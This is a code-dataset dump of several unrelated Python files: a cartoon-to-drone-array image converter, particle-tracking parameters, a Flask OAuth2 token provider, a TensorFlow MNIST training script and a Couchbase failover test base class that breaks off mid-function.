circle=[]\n for i in range(dot_size):\n for j in range(dot_size):\n if ( i*i +j*j < dot_size * dot_size):\n circle.append((i,j))\n circle.append((i,-j))\n circle.append((-i,j))\n circle.append((-i,-j))\n #remove the first 4 position for origin\n return circle[4:]\n\n#Uclidean distance from wikipedia page of 'color difference'\ndef dist_pixel(pixel):\n r,g,b=pixel\n return dist_rgb(r,g,b)\ndef dist_rgb(r,g,b):\n#could also work for (L,a,b)\n return 2*r*r+4*g*g+3*b*b+r/2*(r*r-b*b)/256 #Uclidean distance\n# return 0.3*r+0.59*g+0.11*b #greyscale\n\n# return difference between two pixels\ndef dist_pixels(pixel1,pixel2):\n pixel=( abs(pixel1[0]-pixel2[0]),\n abs(pixel1[1]-pixel2[1]),\n abs(pixel1[2]-pixel2[2]),\n )\n return dist_pixel(pixel)\n\n# get boundary of a cartoon\ndef get_boundary(pixelAccess,width,height):\n\n # a typical value to compare to, to determine whether two colors are different\n temp=64\n neutral=dist_rgb(temp,temp,temp)\n for i in range(width-1):\n pixels_row_list=[]\n for j in range(height-1):\n if ( dist_pixels(pixelAccess[i,j+1], pixelAccess[i,j]) > neutral ) or ( dist_pixels(pixelAccess[i+1,j], pixelAccess[i,j]) > neutral ) :\n # (i,j) is a boundary\n pixelAccess[i,j]=red\n else:\n pixelAccess[i,j]=black\n #fix the last line, assume it is not a boundary\n for i in range(width):\n pixelAccess[i,height-1]=black\n for j in range(height):\n pixelAccess[width-1,j]=black\n \n#replace a dot/drone by a small circle, it can be replaced by other patterns\ndef draw_dot(pixelAccess, row, col, dot_size_array):\n color1=color_drone\n for ( i,j) in dot_size_array:\n try:\n pixelAccess[row+i,col+j]=color1\n except:\n #it is outside the picture\n pass\n\n#remove nearby pixels\ndef remove(pixelAccess, row, col, dot_distance_array):\n # background color used to remove pixels\n color1=black\n for (i,j) in dot_distance_array:\n try:\n pixelAccess[row+i,col+j]=color1\n except:\n #It is outside the picture\n pass\n\n\n#reduce a cartoon to an array of dots satisfying the dot_distance \ndef reduce(pixelAccess, pixelAccessWeight, width, height, dot_distance, dot_size):\n #according to the weight, there will be two different distance\n \n dot_distance_array=get_circle(dot_distance)\n dot_distance_array_big=get_circle(dot_distance*3//2)\n # reduce the distance\n for i in range(width-1):\n for j in range(height-1):\n #if it is a boundary, remove nearby pixels\n if ( pixelAccess[i,j][0] > 200):\n# print(i,j)\n if ( pixelAccessWeight[i,j][0] < 200):\n remove(pixelAccess, i, j, dot_distance_array)\n else:\n# print(i,j)\n remove(pixelAccess, i, j, dot_distance_array_big)\n \n #draw the dot/drone\ndef draw_dots(pixelAccess, width, height, dot_distance, dot_size):\n dot_size_array=get_circle(dot_size) \n drone_count=0\n for i in range(width-1):\n for j in range(height-1):\n #if it is a boundary, remove nearby pixels\n if ( pixelAccess[i,j][0] > 200):\n# print(i,j)\n drone_count+=1\n draw_dot(pixelAccess, i, j, dot_size_array)\n print(\"drone count:\\t\",drone_count)\n return drone_count\n\ndef convert(title,filename, dot_distance, dot_size,debug):\n show_img=False\n if (debug): show_img = True\n print(\"--------------------\",filename,\"-------------------\")\n print(\"input file:\\t\",filename)\n file_raw=\"tmp/\"+title+\"-raw.jpeg\" # raw file in jpeg\n file_boundary=\"tmp/\"+title+\"-boundary.gif\" # boundary\n file_boundary_jpeg=\"tmp/\"+title+\"-boundary.jpeg\" #boundary\n file_dots=\"tmp/\"+title+\"-dots.jpeg\" #exact position\n file_drone=\"output/\"+title+\"-drone.jpeg\" #draw\n\n\n img = Image.open(filename)\n #resize if height > 600\n width,height=img.size\n max_height=600\n if (height > max_height): \n img = img.resize((width*max_height//height,max_height))\n print(\"resized to\",img.size)\n\n \n #convert to RGB mode and jpeg format\n rgbimg = Image.new(\"RGB\", img.size)\n rgbimg.paste(img)\n\n rgbimg.save(file_raw)\n print(\"saved as\\t\",file_raw)\n\n #reopen and get bounday\n img = Image.open(file_raw)\n pix = img.load()\n width,height=img.size\n get_boundary(pix,width,height)\n \n# im2 = Image.new(img.mode, img.size)\n# im2.putdata(pix)\n \n if show_img : img.show()\n img.save(file_boundary)\n img.save(file_boundary_jpeg)\n print(\"boundary file:\\t\",file_boundary,\", \",file_boundary_jpeg)\n\n # get weight\n try: \n file_weight=\"weight/\"+title+\"-weight.jpeg\"\n #file_weight=file_boundary_jpeg\n img_weight=Image.open(file_weight)\n pixAccessWeight=img_weight.load()\n print(\"get weight file:\",file_weight)\n except:\n #if it doesn't exist, use boundary file itself\n file_weight=file_boundary_jpeg\n img_weight=Image.open(file_weight)\n pixAccessWeight=img_weight.load()\n print(\"no weight file, use boundary file instead:\",file_boundary_jpeg)\n \n # reduce to dot array according to dot_distance\n reduce(pix, pixAccessWeight, width, height, dot_distance, dot_size)\n img.save(file_dots)\n print(\"dot file:\\t\",file_dots)\n if show_img : img.show()\n #draw the dot/drone using small circles\n drone_count = draw_dots(pix, width, height, dot_distance, dot_size)\n\n \n if show_img : img.show()\n img.save(file_drone)\n print(\"drone file:\\t\",file_drone)\n return drone_count\n# a=input()\n\n \ndef main():\n print(\"========= This program convert a cartoon to a drone array =========\")\n print(\"An optional weight img can be provided in weight/. Use weight.py to edit it\")\n\n ######################################### define parameters\n dir_input = \"input\"\n print(\"input directary:\\t\",dir_input)\n\n dot_distance = 10 #distance between drones\n dot_size=3 #size of a drone/dot\n drone_count_min=280\n drone_count_max=300\n allowed_img_type=[\"jpg\",\"jpeg\",\"gif\",\"png\",\"eps\"]\n print(\"dot_distance:\\t\",dot_distance)\n print(\"dot_size:\\t\",dot_size)\n print(\"drone_count_min:\\t\",drone_count_min)\n print(\"drone_count_max:\\t\",drone_count_max)\n print(\"allowed img type: \",allowed_img_type,\"sub directory will be skipped\")\n# show_img=False\n debug=0\n #debug = 0, 1, 2. 0 for no debug. 1 for verbose. 2 for basic info\n print(\"debug mode:\\t\",debug)\n \n # Change False to True for a test\n if (False):\n title=\"bird\"\n title=\"elephant\"\n# title=\"propose\"\n# file=title+\".jpeg\"\n file=title+\".png\"\n convert(title,dir_input+'/'+file,dot_distance, dot_size,debug)\n return\n\n ########### The real convert part\n print( \"Now working on\",os.listdir(dir_input))\n for file in os.listdir(dir_input):\n filetype=file.split(\".\")[-1]\n if filetype not in allowed_img_type:\n print(\"----------\",file, \" is not a picture. skipped\")\n continue\n\n title='.'.join(file.split(\".\")[:-1])\n print(title,dir_input+'/'+file)\n drone_count = convert(title,dir_input+'/'+file,dot_distance, dot_size, debug)\n if ( drone_count < drone_count_min ):\n #need more drones with smaller distance\n for i in range(1,20):\n print(\"redo with smaller distance\")\n drone_count = convert(title,dir_input+'/'+file,dot_distance-i, dot_size, debug)\n if ( drone_count >= drone_count_min ):\n break\n elif ( drone_count > drone_count_max ):\n #need less drones with larger distance\n for i in range(1,20):\n print(\"redo with larger distance\")\n drone_count = convert(title,dir_input+'/'+file,dot_distance+i, dot_size, debug)\n if ( drone_count <= drone_count_max ):\n break \n print(\"program finished\")\n\nmain()\n\n","sub_path":"img2dot/img2dot.py","file_name":"img2dot.py","file_ext":"py","file_size_in_byte":8630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"552535120","text":"'''\nUsing the parameters dictionary\n\nThere are 7 sections to the parameters dictionary. methods in each section are used if listed\nin the order specified in the _______method: (methodA, methodB,). This tuple should end with a , after last method\nand before closing bracket. Many method parameters can be adjusted in the gui using a slider. The sliders can be\nturned on and off by changing the parameter into a 4 number list.\neg. 'adaptive_threshold':{'block_size': 111, will set the block_size to a fixed value and no slider will appear.\n 'adaptive_threshold':{'block_size': [111,1,300,2], will produce a slider with start value 111, min val 1,\n max val 300 and increment 2. Most variables use a 1 increment but kernel based values require odd numbers.\n Therefore these should have an odd min val and 2 increment.\n\n1.experiment\n Contains info about the experiment. Can be used to store sample info\n with the data file. There are no compulsory labels. The only potential\n info that is used is the filename of the bkg_img if used. None is automatically\n replaced if used with the default value of video_filename[:-4] = '_bkg_img'\n2.crop\n 'crop_method': can be None or 'box'. 'box results in a rectangular subsection of image\n being cut from each subsequently called image\n 'crop_coords': if tuple of coords is specified in format (x0,y0,w,h) these will be used\n if 'box' in 'crop_method' and None here a gui window allows selection from first frame\n 'mask': currently inactive\n3. preprocess\n 'preprocess_method': Applies image preprocessing methods which are defined in preprocessing_methods.py\n4. track\n 'track_method': You can only run a single track_method. These are defined in tracking_methods.py\n5. link\n 'link_method': links particle positions into trajectories. This is necessary for some methods in postprocess\n and annotate to work.\n6. postprocess\n 'postprocess_method': Applies postprocessing methods which are defined in postprocessing_methods.py these do things\n like calculate derivative quantities such as velocities, neighbours and classification of particles\n7. annotate\n 'annotate_method': Applies annotation methods such as colour coding, trajectories etc to videos.\n\n'''\n\n\nexperiment = {'bkg_img':None,#None gives default of video_filename[:-4] + '_bkgimg.png'\n 'sample':'500nm colloids in buffer',\n 'fps':30\n }\n\ncrop = {'crop_method': None,\n 'crop_coords': None,# (254, 92, 864, 529),\n 'mask': None\n }\n\npreprocess = {\n 'preprocess_method': ('grayscale','adaptive_threshold','distance','threshold',),\n 'load_bkg_img':True,\n 'grayscale':{},\n 'threshold':{'threshold':150,#[1,0,255,1],\n 'th_mode':0},#[1,0,1,1]},\n 'adaptive_threshold':{'block_size': 111,#[15,1,300,2],\n 'C': 14,#[-29, -30, 30, 1],\n 'ad_mode': 1,#[0, 0, 1, 1]\n },\n 'distance':{},\n 'blur':{'kernel':[1,1,15,2]},\n 'medianblur':{'kernel':[1,1,15,2]},\n 'gamma':{'gamma':[1,0,100,1]},\n 'resize':{'scale':[1,0,500,1]},\n 'subtract_bkg':{},\n 'variance':{'variance_type':'img',\n 'variance_blur_kernel': 3,\n 'variance_bkg_norm':True\n },\n 'flip':{},\n\n\n\n }\n\ntrack = {\n 'track_method':('trackpy',),\n 'trackpy':{'size_estimate':21,#[7,1, 1001,2],\n 'invert':[0,0,1,1]\n },\n 'hough':{'min_dist':[10,1,201,2],\n 'p1':[10, 1, 201,2],\n 'p2':[10, 1, 201,2],\n 'min_rad':[10, 1, 201,2],\n 'max_rad':[10, 1, 201,2]\n },\n 'contours':{'noise_cutoff':[2,1,50,1],\n 'area':[20, 1, 200, 1],\n 'aspect':[1,1,20,1]},\n 'distance':{}\n }\n\nlink = {\n 'link_method':'default',\n 'default':{'search_range': 100,\n 'pos_columns':None,\n 'max_frame_displacement': 100,\n 'memory': 3,\n 'min_frame_life': 5\n #\n }\n }\n\npostprocess = {\n 'postprocess_method': ('neighbours',),\n 'smooth':{'column_name':'y',\n 'output_name':'y_smooth',\n 'span':5,\n 'method':'default'\n },\n 'difference':{'column_name':'x',\n 'output_name':'x_diff',\n 'span':2\n },\n 'difference*2':{'column_name':'y',\n 'output_name':'y_diff',\n 'span':2\n },\n 'magnitude':{'column_names':('vx','vy'),\n 'output_name':'v'\n },\n 'angle':{'column_names':('x','y'),\n 'output_name':'theta',\n 'units':'degrees'\n\n },\n 'rate':{'column_name':'x',\n 'output_name':'vx',\n 'fps':50.0,\n 'method':'finite_difference'\n },\n 'rate*2':{'column_name':'y',\n 'output_name':'vy',\n 'fps':50.0,\n 'method':'finite_difference'\n },\n 'neighbours':{'method':'delaunay',\n 'neighbours':6,\n 'cutoff':[50,1,200,1],\n },\n 'classify':{'column_name':'y',\n 'output_name':'classify',\n 'bin_norm':True,\n 'bin_edges':[0,0.1,0.5,1]}\n }\n\nannotate = {\n 'annotate_method': ('trajectories',),#, 'trajectories'\n 'videowriter':'opencv',\n 'text_label':{'text':'Just Particles',\n 'position':(100,100),\n 'font_colour':(255,0,0),\n 'font_size':3,\n 'font_thickness':2\n },\n 'var_label':{'var_column':'index',\n 'position':(100,100),\n 'font_colour':(255,0,255),\n 'font_size':4,\n 'font_thickness':3\n },\n 'particle_values': {'values_column': 'particle',\n 'font_colour': (255, 0, 255),\n 'font_size': 1,\n 'font_thickness': 1\n },\n 'circles':{'radius':6,\n 'cmap_type':'static',#'continuous',\n 'cmap_column':'x',#For continuous\n 'cmap_max':[470,1,2000,1],#For continuous\n 'cmap_scale':1,\n 'colour': (0,0,255),#For static\n 'classifier_column':None,#For discrete or continuous\n 'classifier': None,#For discrete or continuous\n 'thickness':2\n },\n 'boxes':{'radius':10,\n 'cmap_type':'continuous',\n 'cmap_column':'x',#None\n 'cmap_max':[1,1,2000,1],\n 'thickness':2\n },\n 'contours':{'radius':10,\n 'cmap_type':'continuous',\n 'cmap_column':'x',#Nonedf['neighbours'].loc(particle)\n 'cmap_max':[1,1,2000,1],\n 'thickness':2\n },\n 'networks':{'colour':(0,255,0),\n 'thickness':2\n },\n 'vectors':{'dx_column':'x',\n 'dy_column':'y',\n 'thickness':2,\n 'line_type':8,\n 'tip_length':[1,1,100,1],\n 'vector_scale':[1,1,2000,1],\n 'cmap_type':'static',#'continuous',\n 'cmap_column':'x',#For continuous\n 'cmap_max':[470,1,2000,1],#For continuous\n 'cmap_scale':1,\n 'colour': (0,0,255),#For static\n 'classifier_column':None,#For discrete or continuous\n 'classifier': None,#For discrete or continuous\n 'thickness':2\n },\n 'trajectories':{'x_column':'x',\n 'y_column':'y',\n 'traj_length': [200,0,100,1],\n 'cmap_type':'static',#'continuous',\n 'cmap_column':'x',#For continuous\n 'cmap_max':[470,1,2000,1],#For continuous\n 'cmap_scale':1,\n 'colour': (0,255,0),#For static\n 'classifier_column':None,#For discrete or continuous\n 'classifier': None,#For discrete or continuous\n 'thickness':1\n }\n\n\n }\n\nPARAMETERS = {\n 'experiment': experiment,\n 'crop': crop,\n 'preprocess':preprocess,\n 'track':track,\n 'link':link,\n 'postprocess':postprocess,\n 'annotate':annotate\n }\n\n","sub_path":"project/example_params.py","file_name":"example_params.py","file_ext":"py","file_size_in_byte":8426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"558441047","text":"# -*- coding: utf-8 -*-\nimport uuid\nfrom sqlalchemy.orm.session import object_session\nfrom flask.ext.login import current_user\nfrom flask.ext.oauthlib.provider import OAuth2Provider as BaseProvider\n\nfrom midauth.models.auth import Client, GrantToken, BearerToken\n\n\nclass OAuth2Provider(BaseProvider):\n def get_session(self):\n \"\"\"\n\n :return:\n :rtype: sqlalchemy.orm.session.Session\n\n \"\"\"\n from .application import get_session\n return get_session()\n\n def _clientgetter(self, client_id):\n \"\"\"\n\n :param client_id:\n :return:\n :rtype: midauth.models.auth.Client\n\n \"\"\"\n client_pk = uuid.UUID(client_id)\n s = self.get_session()\n client = s.query(Client).get(client_pk)\n return client\n\n def _grantgetter(self, client_id, code):\n client_pk = uuid.UUID(client_id)\n s = self.get_session()\n g = s.query(GrantToken).filter_by(client_pk=client_pk, code=code).one()\n return g\n\n def _grantsetter(self, client_id, code, request, *args, **kwargs):\n client = self._clientgetter(client_id)\n s = object_session(client)\n user = s.merge(current_user._get_current_object())\n assert client.client_id == request.client.client_id\n grant = GrantToken(\n client=client,\n user=user,\n code=code['code'],\n scopes=request.scopes,\n redirect_uri=request.redirect_uri,\n )\n s.add(grant)\n s.commit()\n return grant\n\n def _tokengetter(self, access_token=None, refresh_token=None):\n \"\"\"\n\n :param access_token:\n :param refresh_token:\n :return:\n :rtype: midauth.models.auth.BearerToken\n\n \"\"\"\n s = self.get_session()\n query = s.query(BearerToken)\n if access_token:\n return query.filter_by(access_token=access_token).one()\n elif refresh_token:\n return query.filter_by(refresh_token=refresh_token).one()\n return None\n\n def _tokensetter(self, token, request, *args, **kwargs):\n s = self.get_session()\n query = s.query(BearerToken)\n # clear old tokens\n query.filter_by(client=request.client, user=request.user).delete()\n\n client = s.merge(request.client)\n user = s.merge(request.user)\n scopes = token['scope'].split(' ')\n token = BearerToken(\n client=client,\n user=user,\n scopes=scopes,\n access_token=token['access_token'],\n expires_in=token['expires_in'],\n refresh_token=token['refresh_token'],\n )\n s.add(token)\n s.commit()\n return token\n","sub_path":"midauth/web/ext.py","file_name":"ext.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"419474465","text":"'''\n简介:三层全连接神经网络模型对MNIST数字进行识别\n采用5种优化方法:\n 神经网络结构方面:使用激活函数实现神经网络模型的去线性化\n 使用一个隐藏层使得结构更深,已解决复杂问题\n 训练神经网络时:使用带指数衰减的学习率设置\n 使用正则化避免过度拟合\n 使用滑动平均模型使得最终模型更加健壮\n改进:前向传播函数,参数设置 \n'''\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n#MNIST数据集相关的常数\nINPUT_NODE=784 #输入层的节点数。对于MNIST数据集,即为图片的像素\nOUTPUT_NODE=10 #输出层的节点数。等于类别的数目,区分0~9这10个数字\n\n#配置神经网络的参数\nLAYER1_NODE=500 #隐藏层节点数。这里使用只有一个隐藏层的网络结构作为样例,有500个节点\nBATCH_SIZE=100 #一个训练batch中的训练数据个数。数字越小时,训练过程越接近随机梯度下降;\n #数字越大时,训练越接近梯度下降\nLEARNING_RATE_BASE=0.8 #基础的学习率\nLEARNING_RATE_DECAY=0.99 #学习率的衰减率\nREGULARIZATION_RATE=0.0001 #描述模型复杂度的正则化项在损失函数中的系数\nTRAINING_STEPS=30000 #训练轮数\nMOVING_AVERAGE_DECAY=0.99 #滑动平均衰减率\n\n'''\n一个辅助函数,给定神经网络的输入和所有参数,计算神经网络的前向传播结果。\n激活函数选择:ReLU函数——去线性化\n网络结构:三层全连接神经网络\n'''\ndef inference(input_tensor,avg_class,reuse=tf.AUTO_REUSE):\n #定义第一层神经网络的变量和前向传播过程\n if avg_class==None:\n with tf.variable_scope('layer1',reuse=reuse):\n #根据传进来的reuse判断是创建新变量还是使用已经创建好的\n #当第一次构造网络时需要创建新的变量,之后的调用可以直接使用reuse=True\n weights=tf.get_variable(\"weights\",[INPUT_NODE,LAYER1_NODE],initializer=tf.truncated_normal_initializer(stddev=0.1))\n biases=tf.get_variable(\"biases\",[LAYER1_NODE],initializer=tf.constant_initializer(0.1))\n layer1=tf.nn.relu(tf.matmul(input_tensor,weights)+biases)\n\n #类似定义第二层\n with tf.variable_scope('layer2',reuse=reuse):\n weights=tf.get_variable(\"weights\",[LAYER1_NODE,OUTPUT_NODE],initializer=tf.truncated_normal_initializer(stddev=0.1))\n biases=tf.get_variable(\"biases\",[OUTPUT_NODE],initializer=tf.constant_initializer(0.1))\n layer2=tf.matmul(layer1,weights)+biases\n return layer2\n else:\n with tf.variable_scope('layer1',reuse=reuse):\n #根据传进来的reuse判断是创建新变量还是使用已经创建好的\n #当第一次构造网络时需要创建新的变量,之后的调用可以直接使用reuse=True\n weights=tf.get_variable(\"weights\",[INPUT_NODE,LAYER1_NODE],initializer=tf.truncated_normal_initializer(stddev=0.1))\n biases=tf.get_variable(\"biases\",[LAYER1_NODE],initializer=tf.constant_initializer(0.1))\n layer1=tf.nn.relu(tf.matmul(input_tensor,avg_class.average(weights))+avg_class.average(biases))\n\n #类似定义第二层\n with tf.variable_scope('layer2',reuse=reuse):\n weights=tf.get_variable(\"weights\",[LAYER1_NODE,OUTPUT_NODE],initializer=tf.truncated_normal_initializer(stddev=0.1))\n biases=tf.get_variable(\"biases\",[OUTPUT_NODE],initializer=tf.constant_initializer(0.1))\n layer2=tf.matmul(layer1,avg_class.average(weights))+avg_class.average(biases)\n return layer2\n\n\n\n\n\n#训练模型的过程\ndef train(mnist):\n x=tf.placeholder(tf.float32,[None,INPUT_NODE],name='x-input')\n y_=tf.placeholder(tf.float32,[None,OUTPUT_NODE],name='y-input')\n\n #生成隐藏层参数\n #weights1=tf.Variable(tf.truncated_normal([INPUT_NODE,LAYER1_NODE],stddev=0.1))#stddev:标准差\n #weights1=tf.get_variable(\"weights1\",shape=[INPUT_NODE,LAYER1_NODE],initializer=tf.truncated_normal_initializer(stddev=0.1))\n #biases1=tf.Variable(tf.constant(0.1,shape=[LAYER1_NODE]))#偏置项\n #生成输出层参数\n #weights2=tf.Variable(tf.truncated_normal([LAYER1_NODE,OUTPUT_NODE],stddev=0.1))\n #biases2=tf.Variable(tf.constant(0.1,shape=[OUTPUT_NODE]))\n\n #计算在当前参数下神经网络前向传播的结果,这里给出的用于滑动平均的类为None,不会使用\n # 参数的滑动平均值\n y=inference(x,None)\n #在程序中需要使用训练好的神经网络模型进行推导时,可以直接调用inference(new_x,True)\n\n #定义存储训练轮数的变量\n #不需要计算滑动平均值,故指定为不可训练的变量\n #一般将代表训练轮数的变量指定为不可训练的参数\n global_step=tf.Variable(0,trainable=False)\n\n #给定滑动平均��减率和训练轮数的变量\n #初始化滑动平均类\n #给定训练轮数的变量可以加快训练早期的更新速度\n variable_averages=tf.train.ExponentialMovingAverage(MOVING_AVERAGE_DECAY,global_step)\n\n #在所有代表神经网络参数的变量上使用滑动平均\n #辅助变量(如global_step)不需要\n #tf.trainable_variables返回的图上集合GraphKeys.TRAINABLE_VARIABLES中的元素\n #这个集合为所有没有指定trainable=False的参数\n variables_averages_op=variable_averages.apply(tf.trainable_variables())\n\n #计算使用了滑动平均之后的前向传播结果ikk\n #滑动平均不会改变变量本身,而是维护一个影子变量记录滑动平均值\n #需要滑动平均值需要明确调用average函数\n average_y=inference(x,variable_averages)\n\n #计算交叉熵作为刻画预测值和真实值之间差距的损失函数\n #当分类问题只有一个正确答案时,可以采用sparse_softmax_cross_entropy_with_logits计算\n #参数:不包含softmax层的前向传播结果;训练数据的正确答案\n #标准答案为长度为10的一维数组,使用tf.argmax得到正确答案对应的类别编号\n '''\n tf.argmax(input, axis=None, name=None, dimension=None)\n 此函数是对矩阵按行或列计算最大值\n 参数:\n input:输入Tensor\n axis:0表示按列,1表示按行\n name:名称\n dimension:和axis功能一样,默认axis取值优先。新加的字段\n 返回:Tensor 一般是行或列的最大值下标向量\n '''\n cross_entropy=tf.nn.sparse_softmax_cross_entropy_with_logits(logits=y,labels=tf.argmax(y_,1))\n #计算在当前batch中所有样例的交叉熵平均值\n '''\n tf.reduce_mean()\n 如果不指定第二个参数,那么就在所有的元素中取平均值\n 指定第二个参数为0,则第一维的元素取平均值,即每一列求平均值\n 指定第二个参数为1,则第二维的元素取平均值,即每一行求平均值\n '''\n cross_entropy_mean=tf.reduce_mean(cross_entropy)\n\n #计算L2正则化损失函数\n regularizer=tf.contrib.layers.l2_regularizer(REGULARIZATION_RATE)\n #计算模型的正则化损失\n #一般只计算边权的正则化损失,而不使用偏置项\n with tf.variable_scope(\"\",reuse=True):\n regularization=regularizer(tf.get_variable(\"layer1/weights\"))+regularizer(tf.get_variable(\"layer2/weights\"))\n\n #总损失等于交叉熵损失和正则化损失的和\n loss=cross_entropy_mean+regularization\n\n #设置指数衰减的学习率\n learning_rate=tf.train.exponential_decay(\n LEARNING_RATE_BASE,#基础学习率,随着迭代的进行,更新变量时使用的学习率在这个基础上递减\n global_step,#当前迭代的轮数\n mnist.train.num_examples / BATCH_SIZE,#过完所有的训练数据需要的迭代次数\n LEARNING_RATE_DECAY#学习率衰减速度\n )\n\n #使用tf.train.GradientDescentOptimizer优化算法优化损失函数(包含交叉熵损失和L2正则化损失)\n train_step=tf.train.GradientDescentOptimizer(learning_rate).minimize(loss,global_step=global_step)\n #只优化交叉熵:\n #train_step=tf.train.GradientDescentOptimizer(learning_rate).minimize(cross_entropy_mean,global_step=global_step)\n\n #在训练神经网络模型时,每过一遍数据需要通过反向传播更新参数,又要更新参数的滑动平均值\n #为一次完成多次操作,采用tf.control_dependencies和tf.group两种机制\n with tf.control_dependencies([train_step,variables_averages_op]):\n train_op=tf.no_op(name='train')\n #上一句等价于train_op=tf.group(train_step,variables_averages_op)\n\n #检验使用滑动平均模型的神经网络模型前向传播结果是否正确\n correct_prediction=tf.equal(tf.argmax(average_y,1),tf.argmax(y_,1))\n '''\n tf.cast(x, dtype, name=None)\n 此函数是类型转换函数\n 参数\n x:输入\n dtype:转换目标类型\n name:名称\n 返回:Tensor\n '''\n accuracy=tf.reduce_mean(tf.cast(correct_prediction,tf.float32))\n\n #初始化会话并开始训练过程:\n with tf.Session() as sess:\n tf.global_variables_initializer().run()\n #准备验证数据\n #一般在神经网络训练过程中通过验证数据来大致判断停止的条件和评判训练的结果\n validate_feed={x:mnist.validation.images,y_:mnist.validation.labels}\n\n #准备测试数据\n test_feed={x:mnist.test.images,y_:mnist.test.labels}\n\n #迭代地训练神经网络\n for i in range(TRAINING_STEPS):\n #每1000轮输出一次在验证数据集上的测试数据\n if i%1000==0:\n #计算滑动平均模型在验证数据和测试数据上的结果\n validate_acc=sess.run(accuracy,feed_dict=validate_feed)\n test_acc=sess.run(accuracy,feed_dict=test_feed)\n print(\"After %d training step(s), validation accuracy using average \"\n \"model is %g, test accuracy using average model is %g.\"\n %(i,validate_acc,test_acc))\n\n #产生这一轮使用的一个batch的训练数据,并运行训练过程\n xs,ys=mnist.train.next_batch(BATCH_SIZE)\n sess.run(train_op,feed_dict={x:xs,y_:ys})\n\n #训练结束后,在测试数据上检测神经网络模型的最终正确率\n test_acc=sess.run(accuracy,feed_dict=test_feed)\n print(\"After %d training step(s), test accuracy using average \"\n \"model is %g.\"%(TRAINING_STEPS,test_acc))\n\n#主程序入口\ndef main(argv=None):\n #声明处理MNIST数据集的类,这个类在初始化时会自动下载数据\n mnist=input_data.read_data_sets(\"tmp/data\",one_hot=True)\n train(mnist)\n\n#TensorFlow提供的一个主程序入口,tf.app.run()会调用main()函数\nif __name__=='__main__':\n tf.app.run()\n","sub_path":"智能算法/TensorFlow/MNIST/MNIST训练神经网络_改进.py","file_name":"MNIST训练神经网络_改进.py","file_ext":"py","file_size_in_byte":10975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"332454360","text":"from TestInput import TestInputSingleton\nimport logger\nimport time\nimport copy\nimport sys\n\nimport unittest\nfrom membase.api.rest_client import RestConnection, RestHelper, Bucket\nfrom membase.helper.bucket_helper import BucketOperationHelper\nfrom membase.helper.cluster_helper import ClusterOperationHelper as ClusterHelper, ClusterOperationHelper\nfrom membase.helper.rebalance_helper import RebalanceHelper\nfrom memcached.helper.data_helper import MemcachedClientHelper\nfrom remote.remote_util import RemoteMachineShellConnection\nfrom remote.remote_util import RemoteUtilHelper\nfrom couchbase.cluster import Cluster\nfrom couchbase.documentgenerator import BlobGenerator, DocumentGenerator\n\nDEFAULT_KEY_COUNT = 1000\nDEFAULT_REPLICA = 1\n\n\nclass FailoverBaseTest(unittest.TestCase):\n\n @staticmethod\n def setUp(self):\n log = logger.Logger.get_logger()\n self._input = TestInputSingleton.input\n self._keys_count = self._input.param(\"keys_count\", DEFAULT_KEY_COUNT)\n self._num_replicas = self._input.param(\"replica\", DEFAULT_REPLICA)\n self.bidirectional = self._input.param(\"bidirectional\", False)\n self.case_number = self._input.param(\"case_number\", 0)\n self._value_size = self._input.param(\"value_size\", 256)\n self.wait_timeout = self._input.param(\"wait_timeout\", 60)\n self._servers = self._input.servers\n self.master = self._servers[0]\n self._failed_nodes = []\n num_buckets = 0\n self.buckets = []\n self.default_bucket = self._input.param(\"default_bucket\", True)\n if self.default_bucket:\n self.default_bucket_name = \"default\"\n num_buckets += 1\n self._standard_buckets = self._input.param(\"standard_buckets\", 0)\n self._sasl_buckets = self._input.param(\"sasl_buckets\", 0)\n num_buckets += self._standard_buckets + self._sasl_buckets\n self.dgm_run = self._input.param(\"dgm_run\", True)\n self.log = logger.Logger().get_logger()\n self._cluster_helper = Cluster()\n self.disabled_consistent_view = self._input.param(\"disabled_consistent_view\", None)\n self._quota = self._initialize_nodes(self._cluster_helper, self._servers, self.disabled_consistent_view)\n if self.dgm_run:\n self.quota = 256\n self.bucket_size = int((2.0 / 3.0) / float(num_buckets) * float(self._quota))\n self.gen_create = BlobGenerator('loadOne', 'loadOne_', self._value_size, end=self._keys_count)\n self.add_back_flag = False\n self._cleanup_nodes = []\n log.info(\"============== setup was started for test #{0} {1}==============\"\\\n .format(self.case_number, self._testMethodName))\n RemoteUtilHelper.common_basic_setup(self._servers)\n BucketOperationHelper.delete_all_buckets_or_assert(self._servers, self)\n for server in self._servers:\n ClusterOperationHelper.cleanup_cluster([server])\n ClusterHelper.wait_for_ns_servers_or_assert(self._servers, self)\n self._setup_cluster()\n self._create_buckets_()\n log.info(\"============== setup was finished for test #{0} {1} ==============\"\\\n .format(self.case_number, self._testMethodName))\n\n @staticmethod\n def tearDown(self):\n try:\n self._cluster_helper.shutdown()\n log = logger.Logger.get_logger()\n log.info(\"============== tearDown was started for test #{0} {1} ==============\"\\\n .format(self.case_number, self._testMethodName))\n RemoteUtilHelper.common_basic_setup(self._servers)\n log.info(\"10 seconds delay to wait for membase-server to start\")\n time.sleep(10)\n for server in self._cleanup_nodes:\n shell = RemoteMachineShellConnection(server)\n o, r = shell.execute_command(\"iptables -F\")\n shell.log_command_output(o, r)\n o, r = shell.execute_command(\"/sbin/iptables -A INPUT -p tcp -i eth0 --dport 1000:60000 -j ACCEPT\")\n shell.log_command_output(o, r)\n o, r = shell.execute_command(\"/sbin/iptables -A OUTPUT -p tcp -o eth0 --dport 1000:60000 -j ACCEPT\")\n shell.log_command_output(o, r)\n o, r = shell.execute_command(\"/etc/init.d/couchbase-server start\")\n shell.log_command_output(o, r)\n shell.disconnect()\n BucketOperationHelper.delete_all_buckets_or_assert(self._servers, self)\n ClusterOperationHelper.cleanup_cluster(self._servers)\n ClusterHelper.wait_for_ns_servers_or_assert(self._servers, self)\n log.info(\"============== tearDown was finished for test #{0} {1} ==============\"\\\n .format(self.case_number, self._testMethodName))\n finally:\n pass\n\n def _initialize_nodes(self, cluster, servers, disabled_consistent_view=None):\n quota = 0\n init_tasks = []\n for server in servers:\n init_tasks.append(cluster.async_init_node(server, disabled_consistent_view))\n for task in init_tasks:\n 